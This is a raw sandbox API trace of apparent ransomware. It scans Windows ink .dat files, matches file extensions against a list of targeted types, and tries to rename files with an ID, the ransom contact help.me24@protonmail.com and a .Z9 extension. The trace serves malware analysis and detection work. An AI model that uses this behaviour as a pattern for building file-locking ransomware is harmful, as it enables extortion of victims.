	[0188.969] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat")) returned 0x20
	[0188.969] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0188.969] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0188.969] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat") returned 66
	[0188.969] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat") returned 66
	[0188.969] lstrlenW (lpString=".doc") returned 4
	[0188.969] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1
	[0188.969] lstrlenW (lpString=".docx") returned 5
	[0188.969] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1
	[0188.969] lstrlenW (lpString=".pdf") returned 4
	[0188.969] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1
	[0188.969] lstrlenW (lpString=".xls") returned 4
	[0188.970] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1
	[0188.970] lstrlenW (lpString=".xlsx") returned 5
	[0188.970] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1
	[0188.970] lstrlenW (lpString=".ppt") returned 4
	[0188.970] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1
	[0188.970] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat") returned 66
	[0188.970] lstrlenW (lpString=".zip") returned 4
	[0188.970] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1
	[0188.970] lstrlenW (lpString=".rar") returned 4
	[0188.970] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1
	[0188.970] lstrlenW (lpString=".bz2") returned 4
	[0188.970] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1
	[0188.970] lstrlenW (lpString=".7z") returned 3
	[0188.970] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1
	[0188.970] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat") returned 66
	[0188.970] lstrlenW (lpString=".dbf") returned 4
	[0188.970] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1
	[0188.970] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat") returned 66
	[0188.970] lstrlenW (lpString=".1cd") returned 4
	[0188.970] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1
	[0188.970] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat") returned 66
	[0188.970] lstrlenW (lpString=".jpg") returned 4
	[0188.970] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1
	[0188.970] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat") returned 66
	[0188.970] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat") returned 66
	[0188.970] lstrlenW (lpString=".doc") returned 4
	[0188.970] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1
	[0188.970] lstrlenW (lpString=".docx") returned 5
	[0188.970] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1
	[0188.970] lstrlenW (lpString=".pdf") returned 4
	[0188.970] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1
	[0188.970] lstrlenW (lpString=".xls") returned 4
	[0188.970] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1
	[0188.970] lstrlenW (lpString=".xlsx") returned 5
	[0188.970] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1
	[0188.970] lstrlenW (lpString=".ppt") returned 4
	[0188.971] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1
	[0188.971] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat") returned 66
	[0188.971] lstrlenW (lpString=".zip") returned 4
	[0188.971] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1
	[0188.971] lstrlenW (lpString=".rar") returned 4
	[0188.971] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1
	[0188.971] lstrlenW (lpString=".bz2") returned 4
	[0188.971] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1
	[0188.971] lstrlenW (lpString=".7z") returned 3
	[0188.971] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1
	[0188.971] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat") returned 66
	[0188.971] lstrlenW (lpString=".dbf") returned 4
	[0188.971] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1
	[0188.971] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat") returned 66
	[0188.971] lstrlenW (lpString=".1cd") returned 4
	[0188.971] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1
	[0188.971] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat") returned 66
	[0188.971] lstrlenW (lpString=".jpg") returned 4
	[0188.971] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1
	[0188.971] lstrcmpiW (lpString1=".dat", lpString2=".Z9") returned -1
	[0188.971] lstrlenW (lpString="hwrenclm.dat") returned 12
	[0188.971] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0188.973] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=498624) returned 1
	[0188.973] CloseHandle (hObject=0x370) returned 1
	[0188.973] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat")) returned 0x20
	[0188.973] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0188.974] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0188.974] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63
	[0188.974] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63
	[0188.974] lstrlenW (lpString=".doc") returned 4
	[0188.974] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1
	[0188.974] lstrlenW (lpString=".docx") returned 5
	[0188.974] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1
	[0188.974] lstrlenW (lpString=".pdf") returned 4
	[0188.974] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1
	[0188.974] lstrlenW (lpString=".xls") returned 4
	[0188.974] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1
	[0188.974] lstrlenW (lpString=".xlsx") returned 5
	[0188.974] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1
	[0188.974] lstrlenW (lpString=".ppt") returned 4
	[0188.974] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1
	[0188.974] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63
	[0188.974] lstrlenW (lpString=".zip") returned 4
	[0188.974] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1
	[0188.974] lstrlenW (lpString=".rar") returned 4
	[0188.974] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1
	[0188.974] lstrlenW (lpString=".bz2") returned 4
	[0188.974] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1
	[0188.974] lstrlenW (lpString=".7z") returned 3
	[0188.974] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1
	[0188.974] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63
	[0188.974] lstrlenW (lpString=".dbf") returned 4
	[0188.974] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1
	[0188.974] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63
	[0188.974] lstrlenW (lpString=".1cd") returned 4
	[0188.974] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1
	[0188.974] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63
	[0188.974] lstrlenW (lpString=".jpg") returned 4
	[0188.974] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1
	[0188.975] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63
	[0188.975] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63
	[0188.975] lstrlenW (lpString=".doc") returned 4
	[0188.975] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1
	[0188.975] lstrlenW (lpString=".docx") returned 5
	[0188.975] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1
	[0188.975] lstrlenW (lpString=".pdf") returned 4
	[0188.975] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1
	[0188.975] lstrlenW (lpString=".xls") returned 4
	[0188.975] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1
	[0188.975] lstrlenW (lpString=".xlsx") returned 5
	[0188.975] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1
	[0188.975] lstrlenW (lpString=".ppt") returned 4
	[0188.975] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1
	[0188.975] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63
	[0188.975] lstrlenW (lpString=".zip") returned 4
	[0188.975] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1
	[0188.975] lstrlenW (lpString=".rar") returned 4
	[0188.975] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1
	[0188.975] lstrlenW (lpString=".bz2") returned 4
	[0188.975] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1
	[0188.975] lstrlenW (lpString=".7z") returned 3
	[0188.975] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1
	[0188.975] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63
	[0188.975] lstrlenW (lpString=".dbf") returned 4
	[0188.975] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1
	[0188.975] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63
	[0188.975] lstrlenW (lpString=".1cd") returned 4
	[0188.975] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1
	[0188.975] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63
	[0188.975] lstrlenW (lpString=".jpg") returned 4
	[0188.975] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1
	[0188.976] lstrcmpiW (lpString1=".dat", lpString2=".Z9") returned -1
	[0188.976] lstrlenW (lpString="hwrlatinlm.dat") returned 14
	[0188.976] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0188.976] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=1100592) returned 1
	[0188.976] CloseHandle (hObject=0x370) returned 1
	[0188.976] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat")) returned 0x20
	[0188.976] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0188.976] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0188.976] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65
	[0188.976] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65
	[0188.976] lstrlenW (lpString=".doc") returned 4
	[0188.976] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1
	[0188.976] lstrlenW (lpString=".docx") returned 5
	[0188.976] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1
	[0188.976] lstrlenW (lpString=".pdf") returned 4
	[0188.976] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1
	[0188.977] lstrlenW (lpString=".xls") returned 4
	[0188.977] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1
	[0188.977] lstrlenW (lpString=".xlsx") returned 5
	[0188.977] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1
	[0188.977] lstrlenW (lpString=".ppt") returned 4
	[0188.977] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1
	[0188.977] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65
	[0188.977] lstrlenW (lpString=".zip") returned 4
	[0188.977] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1
	[0188.977] lstrlenW (lpString=".rar") returned 4
	[0188.977] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1
	[0188.977] lstrlenW (lpString=".bz2") returned 4
	[0188.977] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1
	[0188.977] lstrlenW (lpString=".7z") returned 3
	[0188.977] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1
	[0188.977] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65
	[0188.977] lstrlenW (lpString=".dbf") returned 4
	[0188.977] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1
	[0188.977] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65
	[0188.977] lstrlenW (lpString=".1cd") returned 4
	[0188.977] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1
	[0188.977] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65
	[0188.977] lstrlenW (lpString=".jpg") returned 4
	[0188.977] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1
	[0188.977] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65
	[0188.977] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65
	[0188.977] lstrlenW (lpString=".doc") returned 4
	[0188.977] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1
	[0188.977] lstrlenW (lpString=".docx") returned 5
	[0188.977] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1
	[0188.977] lstrlenW (lpString=".pdf") returned 4
	[0188.977] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1
	[0188.977] lstrlenW (lpString=".xls") returned 4
	[0188.977] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1
	[0188.977] lstrlenW (lpString=".xlsx") returned 5
	[0188.977] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1
	[0188.978] lstrlenW (lpString=".ppt") returned 4
	[0188.978] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1
	[0188.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65
	[0188.978] lstrlenW (lpString=".zip") returned 4
	[0188.978] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1
	[0188.978] lstrlenW (lpString=".rar") returned 4
	[0188.978] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1
	[0188.978] lstrlenW (lpString=".bz2") returned 4
	[0188.978] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1
	[0188.978] lstrlenW (lpString=".7z") returned 3
	[0188.978] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1
	[0188.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65
	[0188.978] lstrlenW (lpString=".dbf") returned 4
	[0188.978] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1
	[0188.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65
	[0188.978] lstrlenW (lpString=".1cd") returned 4
	[0188.978] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1
	[0188.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65
	[0188.978] lstrlenW (lpString=".jpg") returned 4
	[0188.978] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1
	[0188.978] lstrcmpiW (lpString1=".dat", lpString2=".Z9") returned -1
	[0188.978] lstrlenW (lpString="hwrusalm.dat") returned 12
	[0188.978] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0188.979] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=2515696) returned 1
	[0188.979] CloseHandle (hObject=0x370) returned 1
	[0188.979] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat")) returned 0x20
	[0188.979] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0188.979] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.id-b4197730.[help.me24@protonmail.com].z9")) returned 0
	[0188.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat") returned 63
	[0188.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat") returned 63
	[0188.979] lstrlenW (lpString=".doc") returned 4
	[0188.979] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1
	[0188.979] lstrlenW (lpString=".docx") returned 5
	[0188.979] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1
	[0188.979] lstrlenW (lpString=".pdf") returned 4
	[0188.979] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1
	[0188.979] lstrlenW (lpString=".xls") returned 4
	[0188.979] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1
	[0188.979] lstrlenW (lpString=".xlsx") returned 5
	[0188.979] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1
	[0188.979] lstrlenW (lpString=".ppt") returned 4
	[0188.979] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1
	[0188.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat") returned 63
	[0188.979] lstrlenW (lpString=".zip") returned 4
	[0188.979] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1
	[0188.979] lstrlenW (lpString=".rar") returned 4
	[0188.979] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1
	[0188.979] lstrlenW (lpString=".bz2") returned 4
	[0188.979] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1
	[0188.980] lstrlenW (lpString=".7z") returned 3
	[0188.980] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1
	[0188.980] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat") returned 63
	[0188.980] lstrlenW (lpString=".dbf") returned 4
	[0188.980] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1
	[0188.980] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat") returned 63
	[0188.980] lstrlenW (lpString=".1cd") returned 4
	[0188.980] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1
	[0188.980] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat") returned 63
	[0188.980] lstrlenW (lpString=".jpg") returned 4
	[0188.980] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1
	[0188.980] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat") returned 63
	[0188.980] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat") returned 63
	[0188.980] lstrlenW (lpString=".doc") returned 4
	[0188.980] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1
	[0188.980] lstrlenW (lpString=".docx") returned 5
	[0188.980] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1
	[0188.980] lstrlenW (lpString=".pdf") returned 4
	[0188.980] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1
	[0188.980] lstrlenW (lpString=".xls") returned 4
	[0188.980] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1
	[0188.980] lstrlenW (lpString=".xlsx") returned 5
	[0188.980] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1
	[0188.980] lstrlenW (lpString=".ppt") returned 4
	[0188.980] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1
	[0188.980] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat") returned 63
	[0188.981] lstrlenW (lpString=".zip") returned 4
	[0188.981] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1
	[0188.981] lstrlenW (lpString=".rar") returned 4
	[0188.981] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1
	[0188.981] lstrlenW (lpString=".bz2") returned 4
	[0188.981] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1
	[0188.981] lstrlenW (lpString=".7z") returned 3
	[0188.981] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1
	[0188.981] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat") returned 63
	[0188.981] lstrlenW (lpString=".dbf") returned 4
	[0188.981] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1
	[0188.981] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat") returned 63
	[0188.981] lstrlenW (lpString=".1cd") returned 4
	[0188.981] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1
	[0188.981] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat") returned 63
	[0188.981] lstrlenW (lpString=".jpg") returned 4
	[0188.981] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1
	[0188.981] lstrcmpiW (lpString1=".dat", lpString2=".Z9") returned -1
	[0188.981] lstrlenW (lpString="hwrusash.dat") returned 12
	[0188.981] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0188.982] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=3380096) returned 1
	[0188.982] CloseHandle (hObject=0x370) returned 1
	[0188.982] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat")) returned 0x20
	[0188.982] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0188.982] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id-b4197730.[help.me24@protonmail.com].z9")) returned 0
	[0188.982] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63
	[0188.982] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63
	[0188.982] lstrlenW (lpString=".doc") returned 4
	[0188.982] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1
	[0188.982] lstrlenW (lpString=".docx") returned 5
	[0188.982] lstrcmpiW (lpString1=".docx", lpString2="h.dat") returned -1
	[0188.982] lstrlenW (lpString=".pdf") returned 4
	[0188.982] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1
	[0188.982] lstrlenW (lpString=".xls") returned 4
	[0188.982] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1
	[0188.982] lstrlenW (lpString=".xlsx") returned 5
	[0188.982] lstrcmpiW (lpString1=".xlsx", lpString2="h.dat") returned -1
	[0188.982] lstrlenW (lpString=".ppt") returned 4
	[0188.982] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1
	[0188.982] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63
	[0188.982] lstrlenW (lpString=".zip") returned 4
	[0188.982] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1
	[0188.982] lstrlenW (lpString=".rar") returned 4
	[0188.982] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1
	[0188.983] lstrlenW (lpString=".bz2") returned 4
	[0188.983] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1
	[0188.983] lstrlenW (lpString=".7z") returned 3
	[0188.983] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1
	[0188.983] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63
	[0188.983] lstrlenW (lpString=".dbf") returned 4
	[0188.983] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1
	[0188.983] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63
	[0188.983] lstrlenW (lpString=".1cd") returned 4
	[0188.983] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1
